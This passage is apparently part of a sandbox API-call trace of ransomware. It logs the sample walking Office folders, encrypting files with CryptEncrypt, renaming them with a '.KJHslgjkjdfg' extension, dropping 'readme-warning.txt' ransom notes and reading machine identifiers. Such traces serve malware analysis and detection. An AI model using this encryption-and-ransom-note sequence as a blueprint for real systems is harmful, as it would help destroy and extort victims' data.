hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0170.301] GetProcessHeap () returned 0x2ef0000 [0170.301] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0170.301] GetProcessHeap () returned 0x2ef0000 [0170.301] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0170.301] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe4e8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.301] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe54c | out: pbData=0x2f11728, pdwDataLen=0x4dfe54c) returned 1 [0170.301] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.301] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe550, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0170.301] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe548, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe548*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0170.301] GetProcessHeap () returned 0x2ef0000 [0170.301] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0170.301] wsprintfA (in: param_1=0x4dfe797, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0170.302] wsprintfA (in: param_1=0x4dfeba4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0170.302] GetProcessHeap () returned 0x2ef0000 [0170.302] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f41a98 [0170.302] wsprintfW (in: param_1=0x4dfdb74, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\readme-warning.txt") returned 115 [0170.302] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0170.304] WriteFile (in: hFile=0x118, lpBuffer=0x2f41a98*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfdb70, lpOverlapped=0x0 | out: lpBuffer=0x2f41a98*, lpNumberOfBytesWritten=0x4dfdb70*=0x3b3, lpOverlapped=0x0) returned 1 [0170.305] CloseHandle (hObject=0x118) returned 1 [0170.306] GetProcessHeap () returned 0x2ef0000 [0170.306] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f416d0 | out: hHeap=0x2ef0000) returned 1 [0170.306] GetProcessHeap () returned 0x2ef0000 [0170.306] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f41a98 | out: hHeap=0x2ef0000) returned 1 [0170.306] GetProcessHeap () returned 0x2ef0000 [0170.306] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0170.306] GetProcessHeap () returned 0x2ef0000 [0170.306] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0170.306] FindClose (in: hFindFile=0x2f18308 | out: hFindFile=0x2f18308) returned 1 [0170.306] GetProcessHeap () returned 0x2ef0000 [0170.306] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f47728 | out: hHeap=0x2ef0000) returned 1 [0170.306] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="PRJPROR", cAlternateFileName="")) returned 1 [0170.306] GetProcessHeap () returned 0x2ef0000 [0170.307] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0xc0) returned 0x2f14588 [0170.307] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\*.*", lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName=".", cAlternateFileName="")) returned 0x2f18308 [0170.308] GetProcessHeap () returned 0x2ef0000 [0170.308] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0170.308] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="..", cAlternateFileName="")) returned 1 [0170.308] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa60fd8f0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbe2e8f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1915, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="PrjProrWW.XML", cAlternateFileName="PRJPRO~1.XML")) returned 1 [0170.308] GetProcessHeap () returned 0x2ef0000 [0170.308] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x2c2) returned 0x2f47728 [0170.308] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0170.309] GetProcessHeap () returned 0x2ef0000 [0170.309] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0170.309] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0170.309] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed80 | out: lpNewFilePointer=0x0) returned 1 [0170.309] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed90*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed90*, lpNumberOfBytesWritten=0x4dfed60*=0xb, lpOverlapped=0x0) returned 1 [0170.312] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0170.312] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.312] GetProcessHeap () returned 0x2ef0000 [0170.312] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0170.312] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfed48*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfed48*=0x40) returned 1 [0170.312] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.312] WriteFile (in: hFile=0x118, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfed60*=0x40, lpOverlapped=0x0) returned 1 [0170.312] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed68*, lpNumberOfBytesWritten=0x4dfed60*=0x4, lpOverlapped=0x0) returned 1 [0170.312] WriteFile (in: hFile=0x118, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfed60*=0x10, lpOverlapped=0x0) returned 1 [0170.312] WriteFile (in: hFile=0x118, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfed60*=0x80, lpOverlapped=0x0) returned 1 [0170.312] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed88 | out: lpNewFilePointer=0x0) returned 1 [0170.313] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed78*, lpNumberOfBytesWritten=0x4dfed60*=0x8, lpOverlapped=0x0) returned 1 [0170.313] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0170.313] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.313] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.313] ReadFile (in: hFile=0x118, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1915, lpNumberOfBytesRead=0x4dfed6c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfed6c*=0x1915, lpOverlapped=0x0) returned 1 [0170.314] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x1920, dwBufLen=0x1920 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x1920) returned 1 [0170.314] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.314] WriteFile (in: hFile=0x118, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1920, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfed60*=0x1920, lpOverlapped=0x0) returned 1 [0170.314] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.314] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x19f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.314] SetEndOfFile (hFile=0x118) returned 1 [0170.317] GetProcessHeap () returned 0x2ef0000 [0170.317] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0170.317] GetProcessHeap () returned 0x2ef0000 [0170.317] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0170.317] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml.kjhslgjkjdfg")) returned 1 [0170.327] CloseHandle (hObject=0x118) returned 1 [0170.327] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c227b0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0170.327] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0170.328] GetProcessHeap () returned 0x2ef0000 [0170.328] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0170.329] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0170.329] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed80 | out: lpNewFilePointer=0x0) returned 1 [0170.329] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed90*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed90*, lpNumberOfBytesWritten=0x4dfed60*=0x5, lpOverlapped=0x0) returned 1 [0170.331] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0170.331] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.331] GetProcessHeap () returned 0x2ef0000 [0170.331] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0170.331] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfed48*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfed48*=0x30) returned 1 [0170.331] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.331] WriteFile (in: hFile=0x118, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfed60*=0x30, lpOverlapped=0x0) returned 1 [0170.332] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed68*, lpNumberOfBytesWritten=0x4dfed60*=0x4, lpOverlapped=0x0) returned 1 [0170.332] WriteFile (in: hFile=0x118, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfed60*=0x10, lpOverlapped=0x0) returned 1 [0170.332] WriteFile (in: hFile=0x118, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfed60*=0x80, lpOverlapped=0x0) returned 1 [0170.332] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed88 | out: lpNewFilePointer=0x0) returned 1 [0170.332] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed78*, lpNumberOfBytesWritten=0x4dfed60*=0x8, lpOverlapped=0x0) returned 1 [0170.332] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0170.332] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.332] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.332] ReadFile (in: hFile=0x118, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x412b, lpNumberOfBytesRead=0x4dfed6c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfed6c*=0x412b, lpOverlapped=0x0) returned 1 [0170.335] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x4130, dwBufLen=0x4130 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x4130) returned 1 [0170.336] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.336] WriteFile (in: hFile=0x118, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfed60*=0x4130, lpOverlapped=0x0) returned 1 [0170.336] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.336] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x41f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.336] SetEndOfFile (hFile=0x118) returned 1 [0170.339] GetProcessHeap () returned 0x2ef0000 [0170.339] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0170.339] GetProcessHeap () returned 0x2ef0000 [0170.339] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0170.339] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml.kjhslgjkjdfg")) returned 1 [0170.340] CloseHandle (hObject=0x118) returned 1 [0170.340] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c227b0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0170.340] GetProcessHeap () returned 0x2ef0000 [0170.340] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0170.340] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.340] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfeb98 | out: pbData=0x2f0c898, pdwDataLen=0x4dfeb98) returned 1 [0170.340] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.340] GetProcessHeap () returned 0x2ef0000 [0170.340] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0170.340] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.340] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfeb98 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfeb98) returned 1 [0170.340] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.340] GetProcessHeap () returned 0x2ef0000 [0170.340] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f416d0 [0170.340] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.341] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f416d0, pdwDataLen=0x4dfeb98 | out: pbData=0x2f416d0, pdwDataLen=0x4dfeb98) returned 1 [0170.341] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.341] GetProcessHeap () returned 0x2ef0000 [0170.341] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0170.341] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.341] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfe778 | out: pbData=0x2f0c928, pdwDataLen=0x4dfe778) returned 1 [0170.341] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.341] GetProcessHeap () returned 0x2ef0000 [0170.341] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0170.341] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.341] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe778 | out: pbData=0x2f11728, pdwDataLen=0x4dfe778) returned 1 [0170.341] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.341] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe774 | out: phkResult=0x4dfe774*=0x118) returned 0x0 [0170.341] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfe780, lpcbData=0x4dfe77c*=0x400 | out: lpType=0x0, lpData=0x4dfe780*=0x30, lpcbData=0x4dfe77c*=0x18) returned 0x0 [0170.341] RegCloseKey (hKey=0x118) returned 0x0 [0170.341] GetProcessHeap () returned 0x2ef0000 [0170.341] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0170.341] GetProcessHeap () returned 0x2ef0000 [0170.341] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0170.342] GetProcessHeap () returned 0x2ef0000 [0170.342] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0170.342] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe4e8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.342] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe54c | out: pbData=0x2f11728, pdwDataLen=0x4dfe54c) returned 1 [0170.342] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.342] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe550, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0170.342] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe548, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe548*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0170.342] GetProcessHeap () returned 0x2ef0000 [0170.342] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0170.342] wsprintfA (in: param_1=0x4dfe797, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0170.342] wsprintfA (in: param_1=0x4dfeba4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0170.342] GetProcessHeap () returned 0x2ef0000 [0170.342] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f41a98 [0170.342] wsprintfW (in: param_1=0x4dfdb74, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\readme-warning.txt") returned 106 [0170.342] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0170.345] WriteFile (in: hFile=0x118, lpBuffer=0x2f41a98*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfdb70, lpOverlapped=0x0 | out: lpBuffer=0x2f41a98*, lpNumberOfBytesWritten=0x4dfdb70*=0x3b3, lpOverlapped=0x0) returned 1 [0170.346] CloseHandle (hObject=0x118) returned 1 [0170.346] GetProcessHeap () returned 0x2ef0000 [0170.346] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, 